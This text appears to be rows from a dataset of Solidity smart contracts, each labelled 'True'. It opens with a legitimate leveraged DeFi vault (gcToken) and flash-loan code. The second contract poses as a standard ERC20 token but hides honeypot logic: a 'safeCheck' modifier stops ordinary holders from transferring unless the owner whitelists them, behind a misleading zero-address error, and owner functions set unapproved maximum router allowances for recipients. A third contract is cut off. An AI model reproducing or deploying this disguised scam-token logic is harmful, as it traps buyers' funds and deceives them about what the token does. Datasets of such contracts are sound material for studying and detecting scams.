*/
function calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) public pure override returns (uint256 _cost)
{
return GCFormulae._calcCostFromUnderlyingCost(_underlyingCost, _exchangeRate);
}
/**
* @notice Allows for the beforehand calculation of the underlying token
* amount given the cToken amount and an exchange rate.
* @param _cost The cost in terms of the cToken.
* @param _exchangeRate The given exchange rate as provided by exchangeRate().
* @return _underlyingCost The equivalent cost in terms of the cToken underlying asset.
*/
function calcUnderlyingCostFromCost(uint256 _cost, uint256 _exchangeRate) public pure override returns (uint256 _underlyingCost)
{
return GCFormulae._calcUnderlyingCostFromCost(_cost, _exchangeRate);
}
/**
* @notice Allows for the beforehand calculation of shares to be
* received/minted upon depositing the underlying asset to the
* contract.
* @param _underlyingCost The amount of the underlying asset being deposited.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _depositFee The current deposit fee as obtained by depositFee().
* @param _exchangeRate The exchange rate as obtained by exchangeRate().
* @return _netShares The net amount of shares being received.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcDepositSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) public pure override returns (uint256 _netShares, uint256 _feeShares)
{
return GCFormulae._calcDepositSharesFromUnderlyingCost(_underlyingCost, _totalReserve, _totalSupply, _depositFee, _exchangeRate);
}
/**
* @notice Allows for the beforehand calculation of the amount of the
* underlying asset to be deposited in order to receive the desired
* amount of shares.
* @param _netShares The amount of this gcToken shares to receive.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _depositFee The current deposit fee as obtained by depositFee().
* @param _exchangeRate The exchange rate as obtained by exchangeRate().
* @return _underlyingCost The cost, in the underlying asset, to be paid.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcDepositUnderlyingCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) public pure override returns (uint256 _underlyingCost, uint256 _feeShares)
{
return GCFormulae._calcDepositUnderlyingCostFromShares(_netShares, _totalReserve, _totalSupply, _depositFee, _exchangeRate);
}
/**
* @notice Allows for the beforehand calculation of shares to be
* given/burned upon withdrawing the underlying asset from the
* contract.
* @param _underlyingCost The amount of the underlying asset being withdrawn.
* @param _totalReserve The reserve balance as obtained by totalReserve()
* @param _totalSupply The shares supply as obtained by totalSupply()
* @param _withdrawalFee The current withdrawl fee as obtained by withdrawalFee()
* @param _exchangeRate The exchange rate as obtained by exchangeRate().
* @return _grossShares The total amount of shares being deducted,
* including fees.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcWithdrawalSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) public pure override returns (uint256 _grossShares, uint256 _feeShares)
{
return GCFormulae._calcWithdrawalSharesFromUnderlyingCost(_underlyingCost, _totalReserve, _totalSupply, _withdrawalFee, _exchangeRate);
}
/**
* @notice Allows for the beforehand calculation of the amount of the
* underlying asset to be withdrawn given the desired amount of
* shares.
* @param _grossShares The amount of this gcToken shares to provide.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _withdrawalFee The current withdrawal fee as obtained by withdrawalFee().
* @param _exchangeRate The exchange rate as obtained by exchangeRate().
* @return _underlyingCost The cost, in the underlying asset, to be received.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcWithdrawalUnderlyingCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) public pure override returns (uint256 _underlyingCost, uint256 _feeShares)
{
return GCFormulae._calcWithdrawalUnderlyingCostFromShares(_grossShares, _totalReserve, _totalSupply, _withdrawalFee, _exchangeRate);
}
/**
* @notice Provides the compound exchange rate since their last update.
* @return _exchangeRate The exchange rate between cToken and its
* underlying asset
*/
function exchangeRate() public view override returns (uint256 _exchangeRate)
{
return G.getExchangeRate(reserveToken);
}
/**
* @notice Provides the total amount kept in the reserve in terms of the
* underlying asset.
* @return _totalReserveUnderlying The underlying asset balance on reserve.
*/
function totalReserveUnderlying() public view virtual override returns (uint256 _totalReserveUnderlying)
{
return GCFormulae._calcUnderlyingCostFromCost(totalReserve(), exchangeRate());
}
/**
* @notice Provides the total amount of the underlying asset (or equivalent)
* this contract is currently lending on Compound.
* @return _lendingReserveUnderlying The underlying asset lending
* balance on Compound.
*/
function lendingReserveUnderlying() public view virtual override returns (uint256 _lendingReserveUnderlying)
{
return G.getLendAmount(reserveToken);
}
/**
* @notice Provides the total amount of the underlying asset (or equivalent)
* this contract is currently borrowing on Compound.
* @return _borrowingReserveUnderlying The underlying asset borrowing
* balance on Compound.
*/
function borrowingReserveUnderlying() public view virtual override returns (uint256 _borrowingReserveUnderlying)
{
return G.getBorrowAmount(reserveToken);
}
/**
* @notice Performs the minting of gcToken shares upon the deposit of the
* cToken underlying asset. The funds will be pulled in by this
* contract, therefore they must be previously approved. This
* function builds upon the GTokenBase deposit function. See
* GTokenBase.sol for further documentation.
* @param _underlyingCost The amount of the underlying asset being
* deposited in the operation.
*/
function depositUnderlying(uint256 _underlyingCost) public override nonReentrant
{
address _from = msg.sender;
require(_underlyingCost > 0, "underlying cost must be greater than 0");
uint256 _cost = GCFormulae._calcCostFromUnderlyingCost(_underlyingCost, exchangeRate());
(uint256 _netShares, uint256 _feeShares) = GFormulae._calcDepositSharesFromCost(_cost, totalReserve(), totalSupply(), depositFee());
require(_netShares > 0, "shares must be greater than 0");
G.pullFunds(underlyingToken, _from, _underlyingCost);
G.safeLend(reserveToken, _underlyingCost);
require(_prepareDeposit(_cost), "not available at the moment");
_mint(_from, _netShares);
_mint(address(this), _feeShares.div(2));
lpm.gulpPoolAssets();
}
/**
* @notice Performs the burning of gcToken shares upon the withdrawal of
* the underlying asset. This function builds upon the
* GTokenBase withdrawal function. See GTokenBase.sol for
* further documentation.
* @param _grossShares The gross amount of this gcToken shares being
* redeemed in the operation.
*/
function withdrawUnderlying(uint256 _grossShares) public override nonReentrant
{
address _from = msg.sender;
require(_grossShares > 0, "shares must be greater than 0");
(uint256 _cost, uint256 _feeShares) = GFormulae._calcWithdrawalCostFromShares(_grossShares, totalReserve(), totalSupply(), withdrawalFee());
uint256 _underlyingCost = GCFormulae._calcUnderlyingCostFromCost(_cost, exchangeRate());
require(_underlyingCost > 0, "underlying cost must be greater than 0");
require(_prepareWithdrawal(_cost), "not available at the moment");
_underlyingCost = G.min(_underlyingCost, G.getLendAmount(reserveToken));
G.safeRedeem(reserveToken, _underlyingCost);
G.pushFunds(underlyingToken, _from, _underlyingCost);
_burn(_from, _grossShares);
_mint(address(this), _feeShares.div(2));
lpm.gulpPoolAssets();
}
}
// File: contracts/GFlashBorrower.sol
pragma solidity ^0.6.0;
/**
* @dev This abstract contract provides an uniform interface for receiving
* flash loans. It encapsulates the required functionality provided by
* both Aave and Dydx. It performs the basic validation to ensure that
* only Aave/Dydx contracts can dispatch the operation and only the
* current contract (that inherits from it) can initiate it.
*/
abstract contract GFlashBorrower is FlashLoanReceiver, ICallee
{
using SafeMath for uint256;
uint256 private allowOperationLevel = 0;
/**
* @dev Handy definition to ensure that flash loans are only initiated
* from within the current contract.
*/
modifier mayFlashBorrow()
{
allowOperationLevel++;
_;
allowOperationLevel--;
}
/**
* @dev Handles Aave callback. Delegates the processing of the funds
* to the virtual function _processFlashLoan and later takes care
* of paying it back.
* @param _token The ERC-20 contract address.
* @param _amount The amount being borrowed.
* @param _fee The fee, in addition to the amount borrowed, to be repaid.
* @param _params Additional user parameters provided when the flash
* loan was requested.
*/
function executeOperation(address _token, uint256 _amount, uint256 _fee, bytes calldata _params) external override
{
assert(allowOperationLevel > 0);
address _from = msg.sender;
address _pool = $.Aave_AAVE_LENDING_POOL;
assert(_from == _pool);
require(_processFlashLoan(_token, _amount, _fee, _params)/*, "failure processing flash loan"*/);
G.paybackFlashLoan(FlashLoans.Provider.Aave, _token, _amount.add(_fee));
}
/**
* @dev Handles Dydx callback. Delegates the processing of the funds
* to the virtual function _processFlashLoan and later takes care
* of paying it back.
* @param _sender The contract address of the initiator of the flash
* loan, expected to be the current contract.
* @param _account Dydx account info provided in the callback.
* @param _data Aditional external data provided to the Dydx callback,
* this is used by the Dydx module to pass the ERC-20 token
* address, the amount and fee, as well as user parameters.
*/
function callFunction(address _sender, Account.Info memory _account, bytes memory _data) external override
{
assert(allowOperationLevel > 0);
address _from = msg.sender;
address _solo = $.Dydx_SOLO_MARGIN;
assert(_from == _solo);
assert(_sender == address(this));
assert(_account.owner == address(this));
(address _token, uint256 _amount, uint256 _fee, bytes memory _params) = abi.decode(_data, (address,uint256,uint256,bytes));
require(_processFlashLoan(_token, _amount, _fee, _params)/*, "failure processing flash loan"*/);
G.paybackFlashLoan(FlashLoans.Provider.Dydx, _token, _amount.add(_fee));
}
/**
* @dev Internal function that abstracts the algorithm to be performed
* with borrowed funds. It receives the funds, deposited in the
* current contract, and must ensure they are available as balance
* of the current contract, including fees, before it returns.
* @param _token The ERC-20 contract address.
* @param _amount The amount being borrowed.
* @param _fee The fee, in addition to the amount borrowed, to be repaid.
* @param _params Additional user parameters provided when the flash
* loan was requested.
* @return _success A boolean indicating success.
*/
function _processFlashLoan(address _token, uint256 _amount, uint256 _fee, bytes memory _params) internal virtual returns (bool _success);
}
// File: contracts/GCTokenType1.sol
pragma solidity ^0.6.0;
/**
* @notice This contract implements the functionality for the gcToken Type 1.
* As with all gcTokens, gcTokens Type 1 use a Compound cToken as
* reserve token. Furthermore, Type 1 tokens may apply leverage to the
* reserve by using the cToken balance to borrow its associated
* underlying asset which in turn is used to mint more cToken. This
* process is performed to the limit where the actual reserve balance
* ends up accounting for the difference between the total amount lent
* and the total amount borrowed. One may observe that there is
* always a net loss when considering just the yield accrued for
* lending minus the yield accrued for borrowing on Compound. However,
* if we consider COMP being credited for liquidity mining the net
* balance may become positive and that is when the leverage mechanism
* should be applied. The COMP is periodically converted to the
* underlying asset and naturally becomes part of the reserve.
* In order to easily and efficiently adjust the leverage, this contract
* performs flash loans. See GCTokenBase, GFlashBorrower and
* GCLeveragedReserveManager for further documentation.
*/
contract GCTokenType1 is GCTokenBase, GFlashBorrower
{
using GCLeveragedReserveManager for GCLeveragedReserveManager.Self;
GCLeveragedReserveManager.Self lrm;
/**
* @dev Constructor for the gcToken Type 1 contract.
* @param _name The ERC-20 token name.
* @param _symbol The ERC-20 token symbol.
* @param _decimals The ERC-20 token decimals.
* @param _stakesToken The ERC-20 token address to be used as stakes
* token (GRO).
* @param _reserveToken The ERC-20 token address to be used as reserve
* token (e.g. cDAI for gcDAI).
* @param _miningToken The ERC-20 token used for liquidity mining on
* compound (COMP).
*/
constructor (string memory _name, string memory _symbol, uint8 _decimals, address _stakesToken, address _reserveToken, address _miningToken)
GCTokenBase(_name, _symbol, _decimals, _stakesToken, _reserveToken, _miningToken, address(0)) public
{
address _underlyingToken = G.getUnderlyingToken(_reserveToken);
lrm.init(_reserveToken, _underlyingToken, _miningToken);
}
/**
* @notice Overrides the default total reserve definition in order to
* account only for the diference between assets being lent
* and assets being borrowed.
* @return _totalReserve The amount of the reserve token corresponding
* to this contract's worth.
*/
function totalReserve() public view override returns (uint256 _totalReserve)
{
return GCFormulae._calcCostFromUnderlyingCost(totalReserveUnderlying(), exchangeRate());
}
/**
* @notice Overrides the default total underlying reserve definition in
* order to account only for the diference between assets being
* lent and assets being borrowed.
* @return _totalReserveUnderlying The amount of the underlying asset
* corresponding to this contract's worth.
*/
function totalReserveUnderlying() public view override returns (uint256 _totalReserveUnderlying)
{
return lendingReserveUnderlying().sub(borrowingReserveUnderlying());
}
/**
* @notice Provides the contract address for the GExchange implementation
* currently being used to convert the mining token (COMP) into
* the underlying asset.
* @return _exchange A GExchange compatible contract address, or address(0)
* if it has not been set.
*/
function exchange() public view override returns (address _exchange)
{
return lrm.exchange;
}
/**
* @notice Provides the minimum and maximum amount of the mining token to
* be processed on every operation. If the contract balance
* is below the minimum it waits until more accumulates.
* If the total amount is beyond the maximum it processes the
* maximum and leaf the rest for future operations. The mining
* token accumulated via liquidity mining is converted to the
* underlying asset and used to mint the associated cToken.
* This range is used to avoid wasting gas converting small
* amounts as well as mitigating slipage converting large amounts.
* @return _miningMinGulpAmount The minimum amount of the mining token
* to be processed per deposit/withdrawal.
* @return _miningMaxGulpAmount The maximum amount of the mining token
* to be processed per deposit/withdrawal.
*/
function miningGulpRange() public view override returns (uint256 _miningMinGulpAmount, uint256 _miningMaxGulpAmount)
{
return (lrm.miningMinGulpAmount, lrm.miningMaxGulpAmount);
}
/**
* @notice Provides the minimum and maximum amount of the gcToken Type 1 to
* be processed on every operation. This method applies only to
* gcTokens Type 2 and is not relevant for gcTokens Type 1.
* @return _growthMinGulpAmount The minimum amount of the gcToken Type 1
* to be processed per deposit/withdrawal
* (always 0).
* @return _growthMaxGulpAmount The maximum amount of the gcToken Type 1
* to be processed per deposit/withdrawal
* (always 0).
*/
function growthGulpRange() public view override returns (uint256 _growthMinGulpAmount, uint256 _growthMaxGulpAmount)
{
return (0, 0);
}
/**
* @notice Provides the target collateralization ratio and margin to be
* maintained by this contract. The amount is relative to the
* maximum collateralization available for the associated cToken
* on Compound. The amount is relative to the maximum
* collateralization available for the associated cToken
* on Compound. gcToken Type 1 use leveraged collateralization
* where the cToken is used to borrow its underlying token which
* in turn is used to mint new cToken and repeat. This is
* performed to the maximal level where the actual reserve
* ends up corresponding to the difference between the amount
* lent and the amount borrowed.
* @param _collateralizationRatio The percent value relative to the
* maximum allowed that this contract
* will target for collateralization
* (defaults to 96%)
* @param _collateralizationRatio The percent value relative to the
* maximum allowed that this contract
* will target for collateralization
* margin (defaults to 0%)
*/
function collateralizationRatio() public view override returns (uint256 _collateralizationRatio, uint256 _collateralizationMargin)
{
return (lrm.collateralizationRatio, lrm.collateralizationMargin);
}
/**
* @notice Sets the contract address for the GExchange implementation
* to be used in converting the mining token (COMP) into
* the underlying asset. This is a priviledged function
* restricted to the contract owner.
* @param _exchange A GExchange compatible contract address.
*/
function setExchange(address _exchange) public override onlyOwner nonReentrant
{
lrm.setExchange(_exchange);
}
/**
* @notice Sets the minimum and maximum amount of the mining token to
* be processed on every operation. See miningGulpRange().
* This is a priviledged function restricted to the contract owner.
* @param _miningMinGulpAmount The minimum amount of the mining token
* to be processed per deposit/withdrawal.
* @param _miningMaxGulpAmount The maximum amount of the mining token
* to be processed per deposit/withdrawal.
*/
function setMiningGulpRange(uint256 _miningMinGulpAmount, uint256 _miningMaxGulpAmount) public override onlyOwner nonReentrant
{
lrm.setMiningGulpRange(_miningMinGulpAmount, _miningMaxGulpAmount);
}
/**
* @notice Sets the minimum and maximum amount of the gcToken Type 1 to
* be processed on every operation. This method applies only to
* gcTokens Type 2 and is not relevant for gcTokens Type 1.
* This is a priviledged function restricted to the contract owner.
* @param _growthMinGulpAmount The minimum amount of the gcToken Type 1
* to be processed per deposit/withdrawal
* (ignored).
* @param _growthMaxGulpAmount The maximum amount of the gcToken Type 1
* to be processed per deposit/withdrawal
* (ignored).
*/
function setGrowthGulpRange(uint256 _growthMinGulpAmount, uint256 _growthMaxGulpAmount) public override /*onlyOwner nonReentrant*/
{
_growthMinGulpAmount; _growthMaxGulpAmount; // silences warnings
}
/**
* @notice Sets the target collateralization ratio and margin to be
* maintained by this contract. See collateralizationRatio().
* Setting both parameters to 0 turns off collateralization and
* leveraging. This is a priviledged function restricted to the
* contract owner.
* @param _collateralizationRatio The percent value relative to the
* maximum allowed that this contract
* will target for collateralization
* (defaults to 96%)
* @param _collateralizationRatio The percent value relative to the
* maximum allowed that this contract
* will target for collateralization
* margin (defaults to 0%)
*/
function setCollateralizationRatio(uint256 _collateralizationRatio, uint256 _collateralizationMargin) public override onlyOwner nonReentrant
{
lrm.setCollateralizationRatio(_collateralizationRatio, _collateralizationMargin);
}
/**
* @dev This method is overriden from GTokenBase and sets up the reserve
* after a deposit comes along. It basically adjusts the
* collateralization/leverage to reflect the new increased reserve
* balance. This method uses the GCLeveragedReserveManager to
* adjust the reserve and this is done via flash loans.
* See GCLeveragedReserveManager().
* @param _cost The amount of reserve being deposited (ignored).
* @return _success A boolean indicating whether or not the operation
* succeeded. This operation should not fail unless
* any of the underlying components (Compound, Aave,
* Dydx) also fails.
*/
function _prepareDeposit(uint256 _cost) internal override mayFlashBorrow returns (bool _success)
{
_cost; // silences warnings
return lrm.adjustReserve(0);
}
/**
* @dev This method is overriden from GTokenBase and sets up the reserve
* before a withdrawal comes along. It basically calculates the
* the amount will be left in the reserve, in terms of cToken cost,
* and adjusts the collateralization/leverage accordingly. This
* method uses the GCLeveragedReserveManager to adjust the reserve
* and this is done via flash loans. See GCLeveragedReserveManager().
* @param _cost The amount of reserve being withdrawn and that needs to
* be immediately liquid.
* @return _success A boolean indicating whether or not the operation succeeded.
* The operation may fail if it is not possible to recover
* the required liquidity (e.g. low liquidity in the markets).
*/
function _prepareWithdrawal(uint256 _cost) internal override mayFlashBorrow returns (bool _success)
{
return lrm.adjustReserve(GCFormulae._calcUnderlyingCostFromCost(_cost, G.fetchExchangeRate(reserveToken)));
}
/**
* @dev This method dispatches the flash loan callback back to the
* GCLeveragedReserveManager library. See GCLeveragedReserveManager.sol
* and GFlashBorrower.sol.
*/
function _processFlashLoan(address _token, uint256 _amount, uint256 _fee, bytes memory _params) internal override returns (bool _success)
{
return lrm._receiveFlashLoan(_token, _amount, _fee, _params);
}
}
// File: contracts/GTokens.sol
pragma solidity ^0.6.0;
/**
* @notice Definition of gcDAI. As a gcToken Type 1, it uses cDAI as reserve
* and employs leverage to maximize returns.
*/
contract gcDAI is GCTokenType1
{
constructor ()
GCTokenType1("growth cDAI", "gcDAI", 8, $.GRO, $.cDAI, $.COMP) public
{
}
}
/**
* @notice Definition of gcUSDC. As a gcToken Type 1, it uses cUSDC as reserve
* and employs leverage to maximize returns.
*/
contract gcUSDC is GCTokenType1
{
constructor ()
GCTokenType1("growth cUSDC", "gcUSDC", 8, $.GRO, $.cUSDC, $.COMP) public
{
}
}
// File: contracts/GSushiswapExchange.sol
pragma solidity ^0.6.0;
/**
* @notice This contract implements the GExchange interface routing token
* conversions via Sushiswap.
*/
contract GSushiswapExchange is GExchange
{
/**
* @notice Computes the amount of tokens to be received upon conversion.
* @param _from The contract address of the ERC-20 token to convert from.
* @param _to The contract address of the ERC-20 token to convert to.
* @param _inputAmount The amount of the _from token to be provided (may be 0).
* @return _outputAmount The amount of the _to token to be received (may be 0).
*/
function calcConversionOutputFromInput(address _from, address _to, uint256 _inputAmount) public view override returns (uint256 _outputAmount)
{
return SushiswapExchangeAbstraction._calcConversionOutputFromInput(_from, _to, _inputAmount);
}
/**
* @notice Computes the amount of tokens to be provided upon conversion.
* @param _from The contract address of the ERC-20 token to convert from.
* @param _to The contract address of the ERC-20 token to convert to.
* @param _outputAmount The amount of the _to token to be received (may be 0).
* @return _inputAmount The amount of the _from token to be provided (may be 0).
*/
function calcConversionInputFromOutput(address _from, address _to, uint256 _outputAmount) public view override returns (uint256 _inputAmount)
{
return SushiswapExchangeAbstraction._calcConversionInputFromOutput(_from, _to, _outputAmount);
}
/**
* @notice Converts a given token amount to another token, as long as it
* meets the minimum taken amount. Amounts are debited from and
* and credited to the caller contract. It may fail if the
* minimum output amount cannot be met.
* @param _from The contract address of the ERC-20 token to convert from.
* @param _to The contract address of the ERC-20 token to convert to.
* @param _inputAmount The amount of the _from token to be provided (may be 0).
* @param _minOutputAmount The minimum amount of the _to token to be received (may be 0).
* @return _outputAmount The amount of the _to token received (may be 0).
*/
function convertFunds(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) public override returns (uint256 _outputAmount)
{
address _sender = msg.sender;
G.pullFunds(_from, _sender, _inputAmount);
_outputAmount = SushiswapExchangeAbstraction._convertFunds(_from, _to, _inputAmount, _minOutputAmount);
G.pushFunds(_to, _sender, _outputAmount);
return _outputAmount;
}
}
// File: contracts/GTokenRegistry.sol
pragma solidity ^0.6.0;
/**
* @notice This contract allows external agents to detect when new GTokens
* are deployed to the network.
*/
contract GTokenRegistry is Ownable
{
/**
* @notice Registers a new gToken.
* @param _growthToken The address of the token being registered.
* @param _oldGrowthToken The address of the token implementation
* being replaced, for upgrades, or 0x0 0therwise.
*/
function registerNewToken(address _growthToken, address _oldGrowthToken) public onlyOwner
{
emit NewToken(_growthToken, _oldGrowthToken);
}
event NewToken(address indexed _growthToken, address indexed _oldGrowthToken);
}
|
True
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pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_CNYX(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
True
|
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pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _symbol;
